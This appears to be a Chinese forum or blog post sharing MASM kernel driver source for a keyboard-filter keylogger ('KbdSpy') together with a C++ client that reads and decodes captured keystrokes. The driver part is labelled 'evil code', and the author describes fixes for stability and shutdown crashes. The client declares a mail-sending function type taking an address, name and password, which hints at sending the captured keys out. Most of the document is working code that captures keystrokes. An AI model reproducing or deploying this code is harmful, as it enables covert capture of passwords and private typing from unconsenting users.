local cbReturned:DWORD
and cbReturned, 0
; Lets see how many KEY_DATAs will fit into passed in buffer
mov eax, cbBuffer
mov ecx, sizeof KEY_DATA
xor edx, edx
div ecx
mov ebx, eax
mov edi, pBuffer
.while ebx
invoke RemoveEntry, edi
.break .if eax == 0
add cbReturned, eax
dec ebx
add edi, sizeof KEY_DATA
.endw
mov eax, cbReturned
ret
FillKeyData endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; CDO_DispatchDeviceControl
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
CDO_DispatchDeviceControl proc uses esi edi ebx pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP
local status:NTSTATUS
local pEventObject:PKEVENT
local liDelayTime:LARGE_INTEGER
local KeyData:KEY_DATA
dprintf $CTA0("enter CDO_DispatchDeviceControl...\n")
mov status, STATUS_UNSUCCESSFUL
mov esi, pIrp
assume esi:ptr _IRP
mov [esi].IoStatus.Status, STATUS_UNSUCCESSFUL
and [esi].IoStatus.Information, 0
IoGetCurrentIrpStackLocation esi
mov edi, eax
assume edi:ptr IO_STACK_LOCATION
.if [edi].Parameters.DeviceIoControl.IoControlCode == IOCTL_KEYBOARD_ATTACH
.if [edi].Parameters.DeviceIoControl.InputBufferLength == sizeof HANDLE
MUTEX_ACQUIRE g_mtxCDO_State
; The user-mode client wants us attach to the keyboard device stack
mov edx, [esi].AssociatedIrp.SystemBuffer
mov edx, [edx] ; event handle from user-mode
mov ecx, ExEventObjectType
mov ecx, [ecx]
mov ecx, [ecx] ; PTR OBJECT_TYPE
invoke ObReferenceObjectByHandle, edx, EVENT_MODIFY_STATE, ecx, \
UserMode, addr pEventObject, NULL
.if eax == STATUS_SUCCESS
; If passed event handle is valid, attach to keyboard
.if !g_fFiDO_Attached
invoke KeyboardAttach
mov [esi].IoStatus.Status, eax
.if eax == STATUS_SUCCESS
mov eax, pEventObject
mov g_pEventObject, eax ; No need to lock
mov g_fFiDO_Attached, TRUE
mov g_fSpy, TRUE ; Set completion routine.
dprintf $CTA0(" mov g_fSpy, TRUE \n")
mov eax, g_pControlDeviceObject
mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
mov (CDO_DEVICE_EXTENSION ptr [eax]).g_fSpy, TRUE
.else
; Failed to attach
invoke ObDereferenceObject, pEventObject
.endif
.else
; We was attached
LOCK_ACQUIRE g_EventSpinLock
mov bl, al ; old IRQL
mov eax, g_pEventObject
.if eax != NULL
and g_pEventObject, NULL
invoke ObDereferenceObject, eax
.endif
mov eax, pEventObject
mov g_pEventObject, eax
LOCK_RELEASE g_EventSpinLock, bl
mov g_fSpy, TRUE; Set completion routine.
mov eax, g_pControlDeviceObject
mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
mov (CDO_DEVICE_EXTENSION ptr [eax]).g_fSpy, TRUE
mov [esi].IoStatus.Status, STATUS_SUCCESS
.endif
.else
mov [esi].IoStatus.Status, STATUS_INVALID_PARAMETER
.endif
MUTEX_RELEASE g_mtxCDO_State
.else
mov [esi].IoStatus.Status, STATUS_INFO_LENGTH_MISMATCH
.endif
.elseif [edi].Parameters.DeviceIoControl.IoControlCode == IOCTL_KEYBOARD_DETACH
MUTEX_ACQUIRE g_mtxCDO_State
; The user-mode client wants us to detach from the keyboard device stack
.if g_fFiDO_Attached
; Do not set completion routine any more no matter will we detach or not
and g_fSpy, FALSE
mov eax, g_pControlDeviceObject
mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
and (CDO_DEVICE_EXTENSION ptr [eax]).g_fSpy, FALSE
invoke KeyboardDetach
mov [esi].IoStatus.Status, eax
.if eax == STATUS_SUCCESS
mov g_fFiDO_Attached, FALSE
.endif
LOCK_ACQUIRE g_EventSpinLock
mov bl, al ; old IRQL
mov eax, g_pEventObject
.if eax != NULL
and g_pEventObject, NULL
invoke ObDereferenceObject, eax
.endif
LOCK_RELEASE g_EventSpinLock, bl
.endif
MUTEX_RELEASE g_mtxCDO_State
.elseif [edi].Parameters.DeviceIoControl.IoControlCode == IOCTL_GET_KEY_DATA
.if [edi].Parameters.DeviceIoControl.OutputBufferLength >= sizeof KEY_DATA
dprintf $CTA0("enter 'IOCTL_GET_KEY_DATA'...\n ")
invoke FillKeyData, [esi].AssociatedIrp.SystemBuffer, \
[edi].Parameters.DeviceIoControl.OutputBufferLength
mov [esi].IoStatus.Information, eax
mov [esi].IoStatus.Status, STATUS_SUCCESS
.else
mov [esi].IoStatus.Status, STATUS_BUFFER_TOO_SMALL
.endif
.else
mov [esi].IoStatus.Status, STATUS_INVALID_DEVICE_REQUEST
.endif
mov eax, [esi].IoStatus.Status
mov status, eax
assume esi:nothing
assume edi:nothing
fastcall IofCompleteRequest, esi, IO_NO_INCREMENT
mov eax, status
ret
CDO_DispatchDeviceControl endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; DriverUnload
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
DriverUnload proc pDriverObject:PDRIVER_OBJECT
local KeyData:KEY_DATA
dprintf $CTA0("DriverUnload...\n")
invoke IoDeleteSymbolicLink, addr g_usSymbolicLinkName
; Empty and destroy list
.while TRUE
invoke RemoveEntry, addr KeyData
.break .if eax == 0
.endw
invoke ExDeleteNPagedLookasideList, g_pKeyDataLookaside
invoke ExFreePool, g_pKeyDataLookaside
mov eax, pDriverObject
invoke IoDeleteDevice, (DRIVER_OBJECT PTR [eax]).DeviceObject
ret
DriverUnload endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; ReadComplete
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
ReadComplete proc uses esi edi ebx pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP, pContext:PVOID
local KeyData:KEY_DATA
local cEntriesLogged:DWORD
dprintf $CTA0("enter ReadComplete ...\n ")
; This routine is to be called when the IRP is completed.
; It is running at IRQL <= DISPATCH_LEVEL and in an arbitrary thread context.
mov esi, pIrp
assume esi:ptr _IRP
; Probably better to use NT_SUCCESS-like behaviour, but it works anyway
.if [esi].IoStatus.Status == STATUS_SUCCESS
; At least one KEYBOARD_INPUT_DATA structure was transferred.
; The AssociatedIrp.SystemBuffer member points to the output buffer
; that is allocated by the Win32 subsystem to output the requested
; number of KEYBOARD_INPUT_DATA structures.
mov edi, [esi].AssociatedIrp.SystemBuffer
assume edi:ptr KEYBOARD_INPUT_DATA
; The Information member specifies the number of bytes
; that are transferred to the Win32 subsystem output buffer.
mov ebx, [esi].IoStatus.Information
and cEntriesLogged, 0
.while sdword ptr ebx >= sizeof KEYBOARD_INPUT_DATA
movzx eax, [edi].MakeCode
mov KeyData.dwScanCode, eax
;mov g_KEY_DATA.dwScanCode, eax
dprintf $CTA0("dwScanCode=%d\n"),eax
movzx eax, [edi].Flags
mov KeyData.Flags, eax
;mov g_KEY_DATA.Flags, eax
dprintf $CTA0("Flags=%d\n"),eax
invoke AddEntry, addr KeyData
inc cEntriesLogged
add edi, sizeof KEYBOARD_INPUT_DATA
sub ebx, sizeof KEYBOARD_INPUT_DATA
.endw
assume edi:nothing
; Notify user-mode client.
;.while cEntriesLogged != 0
LOCK_ACQUIRE g_EventSpinLock
mov bl, al ; old IRQL
.if ( g_pEventObject != NULL ) ; EventObject may go away
invoke KeSetEvent, g_pEventObject, 0, FALSE
.endif
LOCK_RELEASE g_EventSpinLock, bl
;dec cEntriesLogged
;.endw
.endif
; Any driver that returns STATUS_SUCCESS from IoCompletion routine should check the
; IRP->PendingReturned flag in the IoCompletion routine. If the flag is set,
; the IoCompletion routine must call IoMarkIrpPending with the IRP.
.if [esi].PendingReturned
IoMarkIrpPending esi
.endif
assume esi:nothing
lock dec g_dwPendingRequests
mov eax, STATUS_SUCCESS
ret
ReadComplete endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; FiDO_DispatchRead
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
FiDO_DispatchRead proc pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP
; The IRP_MJ_READ request transfers zero or more KEYBOARD_INPUT_DATA structures
; from Kbdclass's internal data queue to the Win32 subsystem buffer.
mov eax, g_pControlDeviceObject
mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
mov eax, (CDO_DEVICE_EXTENSION ptr [eax]).g_fSpy
.if eax ; g_fSpy
dprintf $CTA0("enter FiDO_DispatchRead g_fSpy...\n")
lock inc g_dwPendingRequests
; We pass the same parameters to lower driver copying our stack location to the next-lower one.
IoCopyCurrentIrpStackLocationToNext pIrp
; To find out how the IRP will be completed we install completion routine.
; It will be called when the next-lower-level driver has completed IRP.
IoSetCompletionRoutine pIrp, ReadComplete, NULL, TRUE, TRUE, TRUE
.else
dprintf $CTA0("enter FiDO_DispatchRead not g_fSpy...\n")
; No need to know what will happen with IRP. So just pass it down and forget.
; Bacause we do not need to set completion routine use IoSkipCurrentIrpStackLocation
; instead of IoCopyCurrentIrpStackLocationToNext. It's faster.
IoSkipCurrentIrpStackLocation pIrp
.endif
; It's time to send an IRP to next-lower-level driver.
mov eax, pDeviceObject
mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
mov eax, (FiDO_DEVICE_EXTENSION ptr [eax]).pNextLowerDeviceObject
invoke IoCallDriver, eax, pIrp
; We must return exactly the same value IoCallDriver has returned.
ret
FiDO_DispatchRead endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; FiDO_DispatchPower
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
FiDO_DispatchPower proc pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP
invoke PoStartNextPowerIrp, pIrp
IoSkipCurrentIrpStackLocation pIrp
mov eax, pDeviceObject
mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
mov eax, (FiDO_DEVICE_EXTENSION ptr [eax]).pNextLowerDeviceObject
invoke PoCallDriver, eax, pIrp
; We must return exactly the same value PoCallDriver has returned.
ret
FiDO_DispatchPower endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; DriverDispatch
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
DriverDispatch proc pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP
local status:NTSTATUS
local dwMajorFunction:DWORD
IoGetCurrentIrpStackLocation pIrp
movzx eax, (IO_STACK_LOCATION PTR [eax]).MajorFunction
mov dwMajorFunction, eax
mov eax, pDeviceObject
.if eax == g_pFilterDeviceObject
mov eax, dwMajorFunction
.if eax == IRP_MJ_READ
invoke FiDO_DispatchRead, pDeviceObject, pIrp
mov status, eax
.elseif eax == IRP_MJ_POWER
invoke FiDO_DispatchPower, pDeviceObject, pIrp
mov status, eax
.else
invoke FiDO_DispatchPassThrough, pDeviceObject, pIrp
mov status, eax
.endif
.elseif eax == g_pControlDeviceObject
; Request is to our CDO. Let' see what our client want us do
mov eax, dwMajorFunction
.if eax == IRP_MJ_CREATE
invoke CDO_DispatchCreate, pDeviceObject, pIrp
mov status, eax
.elseif eax == IRP_MJ_CLOSE
invoke CDO_DispatchClose, pDeviceObject, pIrp
mov status, eax
.elseif eax == IRP_MJ_DEVICE_CONTROL
invoke CDO_DispatchDeviceControl, pDeviceObject, pIrp
mov status, eax
.else
mov ecx, pIrp
mov (_IRP PTR [ecx]).IoStatus.Status, STATUS_INVALID_DEVICE_REQUEST
and (_IRP PTR [ecx]).IoStatus.Information, 0
fastcall IofCompleteRequest, ecx, IO_NO_INCREMENT
mov status, STATUS_INVALID_DEVICE_REQUEST
.endif
.else
; Strange, we have recieved IRP for the device we do not know about.
; This should never happen. Just complete IRP as invalid.
mov ecx, pIrp
mov (_IRP PTR [ecx]).IoStatus.Status, STATUS_INVALID_DEVICE_REQUEST
and (_IRP PTR [ecx]).IoStatus.Information, 0
fastcall IofCompleteRequest, ecx, IO_NO_INCREMENT
mov status, STATUS_INVALID_DEVICE_REQUEST
.endif
mov eax, status
ret
DriverDispatch endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; D I S C A R D A B L E C O D E
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.code INIT
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; DriverEntry
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
DriverEntry proc pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING
local status:NTSTATUS
mov status, STATUS_DEVICE_CONFIGURATION_ERROR
; Create a Control Device Object (CDO). The purpose of the CDO is to allow
; our user-mode client to communicate with us, even before the filter is attached
; to its target
;
; We store the CDO pointer into g_pControlDeviceObject, a globally defined variable.
; This way we can identify the control device object in dispatch routines by comparing
; the passed in device pointer against our CDO pointer
;
; CDO is exclusive one. It ensures that only one process opens the device at a time.
; DDK stands it is reserved for system use and drivers set this parameter to FALSE.
; Anyway we set it to TRUE and to force single-client logic mantain global variable
; g_fCDOOpened which we will set/reset in CDO_DispatchCreate/CDO_DispatchClose
invoke IoCreateDevice, pDriverObject, sizeof CDO_DEVICE_EXTENSION, addr g_usControlDeviceName, \
FILE_DEVICE_UNKNOWN, 0, TRUE, addr g_pControlDeviceObject
.if eax == STATUS_SUCCESS
;mov eax, g_pControlDeviceObject
;mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
;and (CDO_DEVICE_EXTENSION ptr [eax]).fOpened, 0
invoke IoCreateSymbolicLink, addr g_usSymbolicLinkName, addr g_usControlDeviceName
.if eax == STATUS_SUCCESS
; Allocate memory for lookaside list
invoke ExAllocatePool, NonPagedPool, sizeof NPAGED_LOOKASIDE_LIST
.if eax != NULL
mov g_pKeyDataLookaside, eax
invoke ExInitializeNPagedLookasideList, g_pKeyDataLookaside, \
NULL, NULL, 0, sizeof KEY_DATA_ENTRY, 'ypSK', 0
; Use doubly linked list to track memory blocks
; we will allocate/free from/to lookaside list
InitializeListHead addr g_KeyDataListHead
and g_cKeyDataEntries, 0
; Init spin lock guarding common driver routines
invoke KeInitializeSpinLock, addr g_KeyDataSpinLock
; Init spin lock guarding event pointer
invoke KeInitializeSpinLock, addr g_EventSpinLock
; Init CDO state mutex
MUTEX_INIT g_mtxCDO_State
; I know they all are zero by default, but...
and g_fCDO_Opened, FALSE
and g_fFiDO_Attached, FALSE
and g_pFilterDeviceObject, NULL
and g_fSpy, FALSE
and g_dwPendingRequests, 0
mov eax, g_pControlDeviceObject
mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
and (CDO_DEVICE_EXTENSION ptr [eax]).g_fSpy, FALSE
mov eax, pDriverObject
assume eax:ptr DRIVER_OBJECT
mov ecx, IRP_MJ_MAXIMUM_FUNCTION + 1
.while ecx
dec ecx
mov [eax].MajorFunction[ecx*(sizeof PVOID)], offset DriverDispatch
.endw
mov [eax].DriverUnload, offset DriverUnload
assume eax:nothing
mov eax, pDriverObject
mov g_pDriverObject, eax
mov status, STATUS_SUCCESS
.else ; ExAllocatePool failed
invoke IoDeleteSymbolicLink, addr g_usSymbolicLinkName
invoke IoDeleteDevice, g_pControlDeviceObject
.endif
.else ; IoCreateSymbolicLink failed
invoke IoDeleteDevice, g_pControlDeviceObject
.endif
.endif
mov eax, status
ret
DriverEntry endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
end DriverEntry
:make
set drv=KbdSpy
\masm32\bin\ml /nologo /c /coff %drv%.bat
\masm32\bin\link /nologo /driver /base:0x10000 /align:32 /out:%drv%.sys /subsystem:native %drv%.obj
del %drv%.obj
echo.
pause
编译环境:kmdkit+masn32
测试截图如下:
修改:
一:
增加了一个dprintf 的宏,便于调试时观察, 可以关闭输出信息
二:
增加了KEY_DATA,KEY_DATA_ENTRY和三个IOCTL的定义
三:
主要对FillKeyData,,,CDO_DispatchDeviceControl 里面的代码进行了修改,
这个键盘过滤驱动较KLOG的优点如下:
一:
KLOG 中是每次截得一个KEY 就分配一个NPAGE,分配十几次之后,,机就会挂掉,而这个驱动里予先
申请了一个NPAGEasidelist 来保存得到的KEY,
二:
增加了FiDO_DispatchPower 对关机时power IRP 的处理,,不然就会BSOD
备:
驱动加载之后,要先发一个attach ,驱动才开始截取键盘消息,,,卸载时用dettach
app代码很简单,完整驱动代码见附件
BLOG:http://numega.cn/twister
(欢迎和大家交流驱动方面的东东;))
app代码:
#include "stdafx.h"
#include "windows.h"
#include<crtdbg.h>
#include "winioctl.h"
typedef bool (*pfn_asp_send_mail)(char * httpaddr,char * name,char *pass);
extern "C" __declspec(dllexport) void getaddr(void )
{
return ;
}
////////////////////////////////////////////////////////////////////////////
// SCAN CODE MAP - For the purposes of this driver, the only keys
// that will be logged are the alphabetical keys, the numeric keys,
// and the special characters (ie. #,$,%,ect). Keys like, "ENTER",
// "SHIFT", "ESC", ect will filtered out and not be logged out to the file.
////////////////////////////////////////////////////////////////////////////
#define INVALID 0X00 //scan code not supported by this driver
#define SPACE 0X01 //space bar
#define ENTER 0X02 //enter key
#define LSHIFT 0x03 //left shift key
#define RSHIFT 0x04 //right shift key
#define CTRL 0x05 //control key
#define ALT 0x06 //alt key
char KeyMap[84] = {
INVALID, //0
INVALID, //1
'1', //2
'2', //3
'3', //4
'4', //5
'5', //6
'6', //7
'7', //8
'8', //9
'9', //A
'0', //B
'-', //C
'=', //D
INVALID, //E
INVALID, //F
'q', //10
'w', //11
'e', //12
'r', //13
't', //14
'y', //15
'u', //16
'i', //17
'o', //18
'p', //19
'[', //1A
']', //1B
ENTER, //1C
CTRL, //1D
'a', //1E
's', //1F
'd', //20
'f', //21
'g', //22
'h', //23
'j', //24
'k', //25
'l', //26
';', //27
'\'', //28
'`', //29
LSHIFT, //2A
'\\', //2B
'z', //2C
'x', //2D
'c', //2E
'v', //2F
'b', //30
'n', //31
'm' , //32
',', //33
'.', //34
'/', //35
RSHIFT, //36
INVALID, //37
ALT, //38
SPACE, //39
INVALID, //3A
INVALID, //3B
INVALID, //3C
INVALID, //3D
INVALID, //3E
INVALID, //3F
INVALID, //40
INVALID, //41
INVALID, //42
INVALID, //43
INVALID, //44
INVALID, //45
INVALID, //46
'7', //47
'8', //48
'9', //49
INVALID, //4A
'4', //4B
'5', //4C
'6', //4D
INVALID, //4E
'1', //4F
'2', //50
'3', //51
'0', //52
};
//
// Define the various device type values. Note that values used by Microsoft
// Corporation are in the range 0-0x7FFF(32767), and 0x8000(32768)-0xFFFF(65535)
// are reserved for use by customers.
//
#define FILE_DEVICE_KLOG 0x8000
//
// Macro definition for defining IOCTL and FSCTL function control codes. Note
// that function codes 0-0x7FF(2047) are reserved for Microsoft Corporation,
// and 0x800(2048)-0xFFF(4095) are reserved for customers.
//
#define KLOG_IOCTL_BASE 0x800
//
// The device driver IOCTLs
//
#define CTL_CODE_KLOG(i) CTL_CODE(FILE_DEVICE_UNKNOWN , KLOG_IOCTL_BASE+i, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_START CTL_CODE_KLOG(0)
#define IOCTL_STOP CTL_CODE_KLOG(1)
#define IOCTL_KEYBOARD_ATTACH CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_KEYBOARD_DETACH CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_GET_KEY_DATA CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0802, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define KLog_DEVICE_NAME_W L"\\Device\\KLog"
#define KLog_DOS_DEVICE_NAME_W L"\\DosDevices\\KLog"
/////////////////////////Struct/////////////////////////////////////////////
typedef struct _KEY_DATA
{
DWORD dwScanCode;
DWORD Flags;
}KEY_DATA ,* PKEY_DATA ;
KEY_DATA g_KEY_DATA[260];
DWORD nkd;
///////////////Global/////////////////////////////////////////////////////////
HANDLE evtHandle;
/********************************************************************************
* getlasterror message
*******************************************************************************/
LPCTSTR GetErrMsg(void)
{
DWORD dwErrCode;
LPCTSTR lpErrMsg;
dwErrCode = GetLastError();
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM,
(LPCVOID)NULL,
dwErrCode,
MAKELANGID( LANG_NEUTRAL, SUBLANG_NEUTRAL ),
(LPSTR)&lpErrMsg,
0,
NULL );
return lpErrMsg;
}
void GetKeyData()
{
dprintf("enter GetKeyData...\n");
//send a message to service
HANDLE h_Device=CreateFile("\\\\.\\KbdSpy",GENERIC_READ+GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);
//ControlService(hService, IOCTL_HELLO_HELLO, &ss);
DWORD dwRet;
if(h_Device!=INVALID_HANDLE_VALUE)
{
if(!DeviceIoControl(h_Device, IOCTL_GET_KEY_DATA,
NULL,
0,
&g_KEY_DATA,
sizeof(g_KEY_DATA),
&dwRet,
NULL))
dprintf("DeviceIoControl IOCTL_GET_KEY_DATA failed...\n");
///
nkd=dwRet;
}
else
{
dprintf("can not open device\n");
dprintf("GetErrMsg=%s",GetErrMsg());
}
CloseHandle(h_Device);
}
void Keydoard_Attach()
{
dprintf("enter Keydoard_Attach...\n");
//send a message to service
HANDLE h_Device=CreateFile("\\\\.\\KbdSpy",GENERIC_READ+GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);
//ControlService(hService, IOCTL_HELLO_HELLO, &ss);
DWORD dwRet;
evtHandle=CreateEvent(NULL,true,false,NULL);
if(h_Device!=INVALID_HANDLE_VALUE)
{
if(!DeviceIoControl(h_Device, IOCTL_KEYBOARD_ATTACH,
&evtHandle,
sizeof(HANDLE),
NULL,
0,
&dwRet,
NULL))
dprintf("DeviceIoControl IOCTL_KEYBOARD_ATTACH failed...\n");
}
else
{
dprintf("can not open device\n");
dprintf("GetErrMsg=%s",GetErrMsg());
}
CloseHandle(h_Device);
}
void Keydoard_Detach()
{
printf("enter Keydoard_Detach...\n");
//send a message to service
HANDLE h_Device=CreateFile("\\\\.\\KbdSpy",GENERIC_READ+GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);
//ControlService(hService, IOCTL_HELLO_HELLO, &ss);
DWORD dwRet;
if(h_Device!=INVALID_HANDLE_VALUE)
{
if(!DeviceIoControl(h_Device, IOCTL_KEYBOARD_DETACH,
NULL,
0,
NULL,
0,
&dwRet,
NULL))
printf("DeviceIoControl IOCTL_START failed...\n");
}
else
{
printf("can not open device\n");
printf("GetErrMsg=%s",GetErrMsg());
}
CloseHandle(h_Device);
}
//int _tmain(int argc, _TCHAR* argv[])
//{
//
//Keydoard_Attach();
//int n=0;
//
//while(true)
//{
//if(WaitForSingleObject(evtHandle,INFINITE)==WAIT_OBJECT_0)
//{
//GetKeyData();
//
//printf("[%d] dwScanCode=%c,flags=%d,i=%d\n",n++,KeyMap[g_KEY_DATA.dwScanCode],g_KEY_DATA.Flags,nkd);
//
//}
//ResetEvent(evtHandle);//set nonsignal
////Sleep(1000);
//}
//
// getchar();
// return 0;
//}
//
驱动代码:
/////////////////////////////////////////////////evil code//////////////////////////////////////////
;@echo off
;goto make
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;
; KbdSpy - This is an example of a simple legacy keyboard filter driver.
;
; WARNING: You will fail to attach to USB-keyboard stack
;
; We create two device objects. The first one is a control device. It provides
; the interface to our user-mode client. The second device is a filter device.
; It intercepts keyboard data being passed from the keyboard class driver.
; So, it is an upper filter. The intercepted data is collected in the list.
; Upon timer triggering we signal shared event object to notify our user-mode
; client about there is something interesting for it. The user-mode client
; issues control request and we copy all info into the buffer.
;
; Written by Four-F (four-f@mail.ru)
;
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.486
.model flat, stdcall
option casemap:none
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; I N C L U D E F I L E S
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
include \masm32\include\w2k\ntstatus.inc
include \masm32\include\w2k\ntddk.inc
include \masm32\include\w2k\ntoskrnl.inc
include \masm32\include\w2k\ntddkbd.inc
include \masm32\include\w2k\hal.inc
include \masm32\include\winioctl.inc ;///
includelib \masm32\lib\w2k\ntoskrnl.lib
includelib \masm32\lib\w2k\hal.lib
include \masm32\Macros\Strings.mac
include .\common.inc
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; M A C R O S
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; spin lock macros
LOCK_ACQUIRE MACRO lck:REQ
; Returns old IRQL in al
IF (OPATTR (lck)) AND 00010000y
;; Is a register value
IFDIFI <lck>, <ecx> ;; don't move ecx onto itself
mov ecx, lck
ENDIF
ELSEIF (OPATTR (lck)) AND 01000000y
;; relative to SS
lea ecx, lck
ELSE
mov ecx, offset lck
ENDIF
fastcall KfAcquireSpinLock, ecx
ENDM
LOCK_RELEASE MACRO lck:REQ, NewIrql:REQ
IF (OPATTR (lck)) AND 00010000y
;; Is a register value
IFDIFI <lck>, <ecx> ;; don't move ecx onto itself
mov ecx, lck
ENDIF
ELSEIF (OPATTR (lck)) AND 01000000y
;; relative to SS
lea ecx, lck
ELSE
mov ecx, offset lck
ENDIF
IFDIFI <NewIrql>, <dl> ;; don't move dl onto itself
mov dl, NewIrql
ENDIF
.if dl == DISPATCH_LEVEL
fastcall KefReleaseSpinLockFromDpcLevel, ecx
.else
and edx, 0FFh ;; for shure (KIRQL is BYTE)
fastcall KfReleaseSpinLock, ecx, edx
.endif
ENDM
; mutex macros
MUTEX_INIT MACRO mtx:REQ
IF (OPATTR (mtx)) AND 00010000y
;; Is a register value
invoke KeInitializeMutex, mtx, 0
ELSEIF (OPATTR (mtx)) AND 01000000y
;; relative to SS
invoke KeInitializeMutex, addr mtx, 0
ELSE
invoke KeInitializeMutex, offset mtx, 0
ENDIF
ENDM
MUTEX_ACQUIRE MACRO mtx:REQ
IF (OPATTR (mtx)) AND 00010000y
;; Is a register value
invoke KeWaitForMutexObject, mtx, Executive, KernelMode, FALSE, NULL
ELSEIF (OPATTR (mtx)) AND 01000000y
;; relative to SS
invoke KeWaitForMutexObject, addr mtx, Executive, KernelMode, FALSE, NULL
ELSE
invoke KeWaitForMutexObject, offset mtx, Executive, KernelMode, FALSE, NULL
ENDIF
ENDM
MUTEX_RELEASE MACRO mtx:REQ
IF (OPATTR (mtx)) AND 00010000y
;; Is a register value
invoke KeReleaseMutex, mtx, FALSE
ELSEIF (OPATTR (mtx)) AND 01000000y
;; relative to SS
invoke KeReleaseMutex, addr mtx, FALSE
ELSE
invoke KeReleaseMutex, offset mtx, FALSE
ENDIF
ENDM
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; S T R U C T U R E S
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;:::::::::::::::::::::::::::::::::::twister:::::::::::::::::::::::::::::::::::::::::::::::::::::::::
IOCTL_KEYBOARD_ATTACH equ CTL_CODE(FILE_DEVICE_UNKNOWN, 0800h, METHOD_BUFFERED, FILE_ANY_ACCESS)
IOCTL_KEYBOARD_DETACH equ CTL_CODE(FILE_DEVICE_UNKNOWN, 0801h, METHOD_BUFFERED, FILE_ANY_ACCESS)
IOCTL_GET_KEY_DATA equ CTL_CODE(FILE_DEVICE_UNKNOWN, 0802h, METHOD_BUFFERED, FILE_ANY_ACCESS)
KEY_DATA STRUCT
; ListEntry LIST_ENTRY
dwScanCode DWORD ?
Flags DWORD ?
KEY_DATA ENDS
PKEY_DATA typedef ptr KEY_DATA
KEY_DATA_ENTRY STRUCT
ListEntry LIST_ENTRY <> ; For memory blocks tracking.
KeyData KEY_DATA <>
KEY_DATA_ENTRY ENDS
;:::::::::::::::::::::::::::::::::::twister:::::::::::::::::::::::::::::::::::::::::::::::::::::::::
FiDO_DEVICE_EXTENSION STRUCT
; The top of the stack before this filter was added
pNextLowerDeviceObject PDEVICE_OBJECT ?
; The referenced pointer to file object that represents
; the corresponding device object. This pointer we get
; from IoGetDeviceObjectPointer and must dereference
; while detaching.
pTargetFileObject PFILE_OBJECT ?
FiDO_DEVICE_EXTENSION ENDS
PFiDO_DEVICE_EXTENSION typedef ptr FiDO_DEVICE_EXTENSION
CDO_DEVICE_EXTENSION STRUCT
g_fCDO_Opened BOOL ?
g_fFiDO_Attached BOOL ?
g_fSpy BOOL ?
CDO_DEVICE_EXTENSION ENDS
PCDO_DEVICE_EXTENSION typedef ptr CDO_DEVICE_EXTENSION
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; R E A D O N L Y D A T A
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.const
